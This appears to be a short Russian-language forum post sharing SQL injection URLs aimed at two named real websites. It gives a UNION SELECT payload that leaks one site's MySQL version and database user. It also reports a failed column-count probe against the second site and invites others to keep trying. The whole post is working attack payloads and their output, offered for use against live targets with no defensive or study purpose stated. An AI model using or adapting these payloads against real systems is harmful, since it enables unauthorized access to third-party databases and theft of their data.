http://www.flirtanica.ru/articles1.php?id=-1+union+select+1,version(),3,4,user()/*

version() 4.1.22
user() flirtani@localhost

не стал подбирать колонки, не люблю 4-ую версию за это :-(
----------------------------------
http://www.webapplist.com/category.php?id=-1'+union+select+1,2,3,4/*

а здесь не смог подобрать кол-во колонок, дошел до 100 но все равно: The used SELECT statements have a different number of columns

посмотрите если кому интересно...